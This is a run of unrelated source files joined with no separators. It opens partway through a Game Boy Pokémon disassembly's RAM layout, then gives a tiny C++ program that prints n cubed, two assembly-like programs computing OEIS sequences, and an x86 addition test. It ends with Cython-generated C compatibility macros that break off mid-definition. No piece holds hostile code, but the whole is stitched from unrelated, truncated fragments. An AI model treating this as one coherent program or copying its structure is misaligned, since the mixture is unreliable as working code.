2 ; 8 chars + $50 wBoxNames:: ds BOX_NAME_LENGTH * NUM_BOXES ; db75 wCelebiEvent:: ; dbf3 ; bit 2: forest is restless db ds 1 wBikeFlags:: ; dbf5 ; bit 0: using strength ; bit 1: always on bike ; bit 2: downhill db ds 1 ; cleared along with wBikeFlags by ResetBikeFlags wCurMapSceneScriptPointer:: dw ; dbf7 wCurCaller:: dw ; dbf9 wCurMapWarpCount:: db ; dbfb wCurMapWarpsPointer:: dw ; dbfc wCurMapCoordEventCount:: db ; dbfe wCurMapCoordEventsPointer:: dw ; dbff wCurMapBGEventCount:: db ; dc01 wCurMapBGEventsPointer:: dw ; dc02 wCurMapObjectEventCount:: db ; dc04 wCurMapObjectEventsPointer:: dw ; dc05 wCurMapSceneScriptCount:: db ; dc07 wCurMapSceneScriptsPointer:: dw ; dc08 wCurMapCallbackCount:: db ; dc0a wCurMapCallbacksPointer:: dw ; dc0b ds 2 ; Sprite id of each decoration wDecoBed:: db ; dc0f wDecoCarpet:: db ; dc10 wDecoPlant:: db ; dc11 wDecoPoster:: db ; dc12 wDecoConsole:: db ; dc13 wDecoLeftOrnament:: db ; dc14 wDecoRightOrnament:: db ; dc15 wDecoBigDoll:: db ; dc16 ; Items bought from Mom wWhichMomItem:: db ; dc17 wWhichMomItemSet:: db ; dc18 wMomItemTriggerBalance:: ds 3 ; dc19 wDailyResetTimer:: dw ; dc1c wDailyFlags1:: db wDailyFlags2:: db wSwarmFlags:: db ds 2 wTimerEventStartDay:: db ds 3 wFruitTreeFlags:: flag_array NUM_FRUIT_TREES ; dc27 ds 2 wLuckyNumberDayBuffer:: dw ; dc2d ds 2 wSpecialPhoneCallID:: db ; dc31 ds 3 wBugContestStartTime:: ds 4 ; day, hour, min, sec ; dc35 wUnusedTwoDayTimerOn:: db ; dc39 wUnusedTwoDayTimer:: db wUnusedTwoDayTimerStartDate:: db ds 4 wMobileOrCable_LastSelection:: db wdc41:: ds 1 wdc42:: ds 8 wBuenasPassword:: db wBlueCardBalance:: db wDailyRematchFlags:: ds 4 wDailyPhoneItemFlags:: ds 4 wDailyPhoneTimeOfDayFlags:: ds 4 wKenjiBreakTimer:: ds 2 ; Kenji wYanmaMapGroup:: db ; dc5a wYanmaMapNumber:: db wPlayerMonSelection:: ds 3 wdc5f:: db wdc60:: db ds 18 wStepCount:: db ; dc73 wPoisonStepCount:: db ; dc74 ds 2 wHappinessStepCount:: db ds 1 wParkBallsRemaining:: wSafariBallsRemaining:: db ; dc79 wSafariTimeRemaining:: dw ; dc7a wPhoneList:: ds CONTACT_LIST_SIZE ; dc7c ; dc86 ds 23 wLuckyNumberShowFlag:: db ; dc9d ds 1 wLuckyIDNumber:: dw ; dc9f wRepelEffect:: db ; If a Repel is in use, it contains the nr of steps it's still active wBikeStep:: dw wKurtApricornQuantity:: db wPlayerDataEnd:: wCurMapData:: wVisitedSpawns:: flag_array NUM_SPAWNS ; dca5 wDigWarpNumber:: db ; dcaa wDigMapGroup:: db ; dcab wDigMapNumber:: db ; dcac ; used on maps like second floor pokécenter, which are reused, so we know which ; map to return to wBackupWarpNumber:: db ; dcad wBackupMapGroup:: db ; dcae wBackupMapNumber:: db ; dcaf ds 3 wLastSpawnMapGroup:: db wLastSpawnMapNumber:: db wWarpNumber:: db ; dcb4 wMapGroup:: db ; dcb5 ; map group of current map wMapNumber:: db ; dcb6 ; map number of current map wYCoord:: db ; dcb7 ; current y coordinate relative to top-left corner of current map wXCoord:: db ; dcb8 ; current x coordinate relative to top-left corner of current map wScreenSave:: ds SCREEN_META_WIDTH * SCREEN_META_HEIGHT wCurMapDataEnd:: SECTION "Party", WRAMX wPokemonData:: wPartyCount:: db ; dcd7 ; number of Pokémon in party wPartySpecies:: ds PARTY_LENGTH ; dcd8 ; species of each Pokémon in party wPartyEnd:: db ; dcde ; older code doesn't check wPartyCount wPartyMons:: wPartyMon1:: party_struct wPartyMon1 ; dcdf wPartyMon2:: party_struct wPartyMon2 ; dd0f wPartyMon3:: party_struct wPartyMon3 ; dd3f wPartyMon4:: party_struct wPartyMon4 ; dd6f wPartyMon5:: party_struct wPartyMon5 ; dd9f wPartyMon6:: party_struct wPartyMon6 ; ddcf wPartyMonOT:: ds NAME_LENGTH * PARTY_LENGTH ; ddff wPartyMonNicknames:: ds MON_NAME_LENGTH * PARTY_LENGTH ; de41 wPartyMonNicknamesEnd:: ds 22 wPokedexCaught:: flag_array NUM_POKEMON ; de99 wEndPokedexCaught:: wPokedexSeen:: flag_array NUM_POKEMON ; deb9 wEndPokedexSeen:: wUnownDex:: ds NUM_UNOWN ; ded9 wUnlockedUnowns:: db ; def3 wFirstUnownSeen:: db wDayCareMan:: ; def5 ; bit 7: active ; bit 6: egg ready ; bit 5: monsters are compatible ; bit 0: monster 1 in day-care db wBreedMon1:: wBreedMon1Nick:: ds MON_NAME_LENGTH ; def6 wBreedMon1OT:: ds NAME_LENGTH ; df01 wBreedMon1Stats:: box_struct wBreedMon1 ; df0c wDayCareLady:: ; df2c ; bit 7: active ; bit 0: monster 2 in day-care db wStepsToEgg:: ; df2d db wBreedMotherOrNonDitto:: ; df2e ; z: yes ; nz: no db wBreedMon2:: wBreedMon2Nick:: ds MON_NAME_LENGTH ; df2f wBreedMon2OT:: ds NAME_LENGTH ; df3a wBreedMon2Stats:: box_struct wBreedMon2 ; df45 wEggNick:: ds MON_NAME_LENGTH ; df65 wEggOT:: ds NAME_LENGTH ; df70 wEggMon:: box_struct wEggMon ; df7b wBugContestSecondPartySpecies:: db wContestMon:: party_struct wContestMon ; df9c wDunsparceMapGroup:: db wDunsparceMapNumber:: db wFishingSwarmFlag:: db wRoamMon1:: roam_struct wRoamMon1 ; dfcf wRoamMon2:: roam_struct wRoamMon2 ; dfd6 wRoamMon3:: roam_struct wRoamMon3 ; dfdd wRoamMons_CurMapNumber:: db wRoamMons_CurMapGroup:: db wRoamMons_LastMapNumber:: db wRoamMons_LastMapGroup:: db wBestMagikarpLengthFeet:: db wBestMagikarpLengthInches:: db wMagikarpRecordHoldersName:: ds NAME_LENGTH wPokemonDataEnd:: wGameDataEnd:: ; dff5 SECTION "Pic Animations", WRAMX wTempTileMap:: ; 20x18 grid of 8x8 tiles ds SCREEN_WIDTH * SCREEN_HEIGHT ; $168 = 360 ; PokeAnim data wPokeAnimStruct:: wPokeAnimSceneIndex:: db wPokeAnimPointer:: dw wPokeAnimSpecies:: db wPokeAnimUnownLetter:: db wPokeAnimSpeciesOrUnown:: db wPokeAnimGraphicStartTile:: db wPokeAnimCoord:: dw wPokeAnimFrontpicHeight:: db wPokeAnimIdleFlag:: db wPokeAnimSpeed:: db wPokeAnimPointerBank:: db wPokeAnimPointerAddr:: dw wPokeAnimFramesBank:: db wPokeAnimFramesAddr:: dw wPokeAnimBitmaskBank:: db wPokeAnimBitmaskAddr:: dw wPokeAnimFrame:: db wPokeAnimJumptableIndex:: db wPokeAnimRepeatTimer:: db wPokeAnimCurBitmask:: db wPokeAnimWaitCounter:: db wPokeAnimCommand:: db wPokeAnimParameter:: db ds 1 wPokeAnimBitmaskCurCol:: db wPokeAnimBitmaskCurRow:: db wPokeAnimBitmaskCurBit:: db wPokeAnimBitmaskBuffer:: ds 7 ds 2 wPokeAnimStructEnd:: SECTION "Battle Tower RAM", WRAMX w3_d000:: ds 1 ; d000 w3_d001:: ds 1 w3_d002:: ds $7e w3_d080:: ds 1 w3_d081:: ds $f w3_d090:: ds $70 w3_d100:: wBT_OTTrainer:: battle_tower_struct wBT_OT ds $20 wBT_TrainerTextIndex:: db ; d200 ds 1 w3_d202:: battle_tower_struct w3_d202 w3_d2e2:: battle_tower_struct w3_d2e2 w3_d3c2:: battle_tower_struct w3_d3c2 w3_d4a2:: battle_tower_struct w3_d4a2 w3_d582:: battle_tower_struct w3_d582 w3_d662:: battle_tower_struct w3_d662 UNION ; d742 w3_d742:: battle_tower_struct w3_d742 ; d822 NEXTU ; d742 ds $be w3_d800:: ds BG_MAP_WIDTH * SCREEN_HEIGHT NEXTU ; d742 ds $be wBTChoiceOfLvlGroup:: db ds $68 w3_d869:: ds $17 w3_d880:: ds 1 w3_d881:: ds 9 w3_d88a:: ds 5 w3_d88f:: ds 5 w3_d894:: ds 1 w3_d895:: ds 11 w3_d8a0:: ds 1 w3_d8a1:: ds 1 w3_d8a2:: ds 1 w3_d8a3:: ds 1 ENDU ; d8a4 ds $1c0 w3_dc00:: ds SCREEN_WIDTH * SCREEN_HEIGHT w3_dd68:: ds SCREEN_WIDTH * SCREEN_HEIGHT ds $11c w3_dfec:: ds $10 w3_dffc:: ds 4 SECTION "GBC Video", WRAMX ; eight 4-color palettes each wGBCPalettes:: ; used only for BANK(wGBCPalettes) wBGPals1:: ds 8 palettes ; d000 wOBPals1:: ds 8 palettes ; d040 wBGPals2:: ds 8 palettes ; d080 wOBPals2:: ds 8 palettes ; d0c0 wLYOverrides:: ds SCREEN_HEIGHT_PX ; d100 wLYOverridesEnd:: ; d190 ds 1 wMagnetTrain:: ; used only for BANK(wMagnetTrain) wMagnetTrainDirection:: db wMagnetTrainInitPosition:: db wMagnetTrainHoldPosition:: db wMagnetTrainFinalPosition:: db wMagnetTrainPlayerSpriteInitX:: db ds 106 wLYOverridesBackup:: ds SCREEN_HEIGHT_PX ; d200 wLYOverridesBackupEnd:: SECTION "Battle Animations", WRAMX wBattleAnimTileDict:: ds 10 wActiveAnimObjects:: ; d30a wAnimObject01:: battle_anim_struct wAnimObject01 wAnimObject02:: battle_anim_struct wAnimObject02 wAnimObject03:: battle_anim_struct wAnimObject03 wAnimObject04:: battle_anim_struct wAnimObject04 wAnimObject05:: battle_anim_struct wAnimObject05 wAnimObject06:: battle_anim_struct wAnimObject06 wAnimObject07:: battle_anim_struct wAnimObject07 wAnimObject08:: battle_anim_struct wAnimObject08 wAnimObject09:: battle_anim_struct wAnimObject09 wAnimObject10:: battle_anim_struct wAnimObject10 wActiveAnimObjectsEnd:: ; d3aa wActiveBGEffects:: ; d3fa wBGEffect1:: battle_bg_effect wBGEffect1 wBGEffect2:: battle_bg_effect wBGEffect2 wBGEffect3:: battle_bg_effect wBGEffect3 wBGEffect4:: battle_bg_effect wBGEffect4 wBGEffect5:: battle_bg_effect wBGEffect5 wActiveBGEffectsEnd:: wLastAnimObjectIndex:: db ; d40e wBattleAnimFlags:: db ; d40f wBattleAnimAddress:: dw ; d410 wBattleAnimDelay:: db ; d412 wBattleAnimParent:: dw ; d413 wBattleAnimLoops:: db ; d415 wBattleAnimVar:: db ; d416 wBattleAnimByte:: db ; d417 wBattleAnimOAMPointerLo:: db ; d418 UNION ; d419 ; unidentified wBattleAnimTemp0:: db wBattleAnimTemp1:: db wBattleAnimTemp2:: db wBattleAnimTemp3:: db NEXTU ; d419 wBattleObjectTempID:: db wBattleObjectTempXCoord:: db wBattleObjectTempYCoord:: db wBattleObjectTempParam:: db NEXTU ; d419 wBattleAnimTempOAMFlags:: db wBattleAnimTempField02:: db wBattleAnimTempTileID:: db wBattleAnimTempXCoord:: db wBattleAnimTempYCoord:: db wBattleAnimTempXOffset:: db wBattleAnimTempYOffset:: db wBattleAnimTempFrameOAMFlags:: db wBattleAnimTempPalette:: db ENDU ; d422 UNION ; d422 ds $32 wBattleAnimEnd:: NEXTU ; d422 wSurfWaveBGEffect:: ds $40 wSurfWaveBGEffectEnd:: ENDU ; d462 SECTION "Mobile RAM", WRAMX w5_d800:: ds $200 w5_da00:: ds $200 w5_dc00:: ds $d w5_dc0d:: ds 4 w5_dc11:: ds 9 w5_MobileOpponentBattleMessages:: ds $c ; dc1a w5_MobileOpponentBattleStartMessage:: ds $c ; dc26 w5_MobileOpponentBattleWinMessage:: ds $c ; dc32 w5_MobileOpponentBattleLossMessage:: ds $c ; dc3e SECTION "Scratch RAM", WRAMX UNION ; d000 wScratchTileMap:: ds BG_MAP_WIDTH * BG_MAP_HEIGHT wScratchAttrMap:: ds BG_MAP_WIDTH * BG_MAP_HEIGHT NEXTU ; d000 wDecompressScratch:: ds $100 tiles ENDU ; e000 SECTION "Stack RAM", WRAMX wWindowStack:: ds $1000 - 1 wWindowStackBottom:: ds 1 INCLUDE "sram.asm" INCLUDE "hram.asm"
#include <iostream> #include <iomanip> #include <string> #include <vector> #include <map> #include <set> #include <stack> #include <queue> #include <algorithm> #include <cmath> #include <climits> #include <math.h> #include <bitset> #define P pair #define X first #define Y second #define VSORT(v) sort(v.begin(), v.end()) #define VREV(v) reverse(v.begin(), v.end()) #define VMAX_P(v) max_element(v.begin(), v.end()) #define VMIN_P(v) min_element(v.begin(), v.end()) #define VMAX_IDX(v) distance(v.begin(), VMAX_P(v)) #define VMIN_IDX(v) distance(v.begin(), VMIN_P(v)) #define VCOPY(src, dst) copy(src.begin(), src.end(), back_inserter(dst)) #define SUPPER(src, dst) transform(src.begin(), src.end(), dst.begin(), toupper); #define SLOWER(src, dst) transform(src.begin(), src.end(), dst.begin(), tolower); using namespace std; using ll = long long; int main(int argc, const char *argv[]) { int n; cin >> n; cout << n * n * n << endl; }
; A254378: Run lengths of A228495 (Characteristic function of the odd odious numbers). ; 1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1 mov $2,$0 mov $5,2 lpb $5 mov $0,$2 sub $5,1 add $0,$5 trn $0,1 seq $0,286727 ; Positions of 0 in A286063; complement of A286728. mov $4,$5 mul $4,$0 add $3,$4 lpe min $2,1 mul $2,$0 mov $0,$3 sub $0,$2 mul $0,2 sub $0,1
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; Add32RR xor eax, eax inc eax mov eax, 0x1 mov ebx, 0x2 ;TEST_BEGIN_RECORDING add eax, ebx ;TEST_END_RECORDING
; A285406: Log base 2 of denominator of Sum_{k=0..n^2-1}((-1)^k*sqrt(Pi)/(Gamma(1/2-k)*Gamma(1+k)))/n). ; 0,5,15,28,46,68,94,123,158,195,236,283,333,387,445,506,574,643,716,794,875,961,1054,1146,1244,1346,1451,1562,1676,1794,1916,2041,2174,2307,2444,2586,2731,2881,3034,3193,3356,3520,3690,3864,4041,4227,4413,4601,4796,4993 mul $0,2 cal $0,74148 ; a(n) = n + floor(n^2/2). sub $0,1 cal $0,92054 ; Logarithm base 2 of the sum of numerator and denominator of the convergents of the continued fraction expansion [1;1/2,1/3,1/4,...,1/n,...]. mov $1,$0 div $1,2
/* Generated by Cython 0.29.24 */ #ifndef PY_SSIZE_T_CLEAN #define PY_SSIZE_T_CLEAN #endif /* PY_SSIZE_T_CLEAN */ #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) #error Cython requires Python 2.6+ or Python 3.3+. #else #define CYTHON_ABI "0_29_24" #define CYTHON_HEX_VERSION 0x001D18F0 #define CYTHON_FUTURE_DIVISION 0 #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #define __PYX_COMMA , #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x02070000 #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #if PY_VERSION_HEX < 0x03050000 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #undef CYTHON_PEP489_MULTI_PHASE_INIT #define CYTHON_PEP489_MULTI_PHASE_INIT 0 #undef CYTHON_USE_TP_FINALIZE #define CYTHON_USE_TP_FINALIZE 0 #undef CYTHON_USE_DICT_VERSIONS #define CYTHON_USE_DICT_VERSIONS 0 #undef CYTHON_USE_EXC_INFO_STACK #define CYTHON_USE_EXC_INFO_STACK 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #undef CYTHON_PEP489_MULTI_PHASE_INIT #define CYTHON_PEP489_MULTI_PHASE_INIT 0 #undef CYTHON_USE_TP_FINALIZE #define CYTHON_USE_TP_FINALIZE 0 #undef CYTHON_USE_DICT_VERSIONS #define CYTHON_USE_DICT_VERSIONS 0 #undef CYTHON_USE_EXC_INFO_STACK #define CYTHON_USE_EXC_INFO_STACK 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #elif !defined(CYTHON_USE_PYTYPE_LOOKUP) #define CYTHON_USE_PYTYPE_LOOKUP 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #ifndef CYTHON_PEP489_MULTI_PHASE_INIT #define CYTHON_PEP489_MULTI_PHASE_INIT (PY_VERSION_HEX >= 0x03050000) #endif #ifndef CYTHON_USE_TP_FINALIZE #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1) #endif #ifndef CYTHON_USE_DICT_VERSIONS #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX >= 0x030600B1) #endif #ifndef CYTHON_USE_EXC_INFO_STACK #define CYTHON_USE_EXC_INFO_STACK (PY_VERSION_HEX >= 0x030700A3) #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #ifdef SIZEOF_VOID_P enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; #endif #endif #ifndef __has_attribute #define __has_attribute(x) 0 #endif #ifndef __has_cpp_attribute #define __has_cpp_attribute(x) 0 #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifdef _MSC_VER #ifndef _MSC_STDINT_H_ #if _MSC_VER < 1300 typedef unsigned char uint8_t; typedef unsigned int uint32_t; #else typedef unsigned __int8 uint8_t; typedef unsigned __int32 uint32_t; #endif #endif #else #include <stdint.h> #endif #ifndef CYTHON_FALLTHROUGH #if defined(__cplusplus) && __cplusplus >= 201103L #if __has_cpp_attribute(fallthrough) #define CYTHON_FALLTHROUGH [[fallthrough]] #elif __has_cpp_attribute(clang::fallthrough) #define CYTHON_FALLTHROUGH [[clang::fallthrough]] #elif __has_cpp_attribute(gnu::fallthrough) #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] #endif #endif #ifndef CYTHON_FALLTHROUGH #if __has_attribute(fallthrough) #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) #else #define CYTHON_FALLTHROUGH #endif #endif #if defined(__clang__ ) && defined(__apple_build_version__) #if __apple_build_version__ < 7000000 #undef CYTHON_FALLTHROUGH #define CYTHON_FALLTHROUGH #endif #endif #endif #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #if PY_VERSION_HEX >= 0x030800A4 && PY_VERSION_HEX < 0x030800B2 #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, 0, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #else #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #endif #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_STACKLESS #define METH_STACKLESS 0 #endif #if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 #endif typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS | METH_STACKLESS))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030400A1 #define PyMem_RawMalloc(n) PyMem_Malloc(n) #define PyMem_RawRealloc(p, n) PyMem_Realloc(p, n) #define PyMem_RawFree(p) PyMem_Free(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #if !CYTHON_FAST_THREAD_STATE || PY_VERSION_HEX < 0x02070000 #define __Pyx_PyThreadState_Current PyThreadState_GET() #elif PY_VERSION_HEX >= 0x03060000 #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() #elif PY_VERSION_HEX >= 0x03000000 #define __Pyx_PyThreadState_Current PyThreadState_GET() #else #define __Pyx_PyThreadState_Current _PyThreadState_Current #endif #if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) #include "pythread.h" #define Py_tss_NEEDS_INIT 0 typedef int Py_tss_t; static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { *key = PyThread_create_key(); return 0; } static CYTHON_INLINE 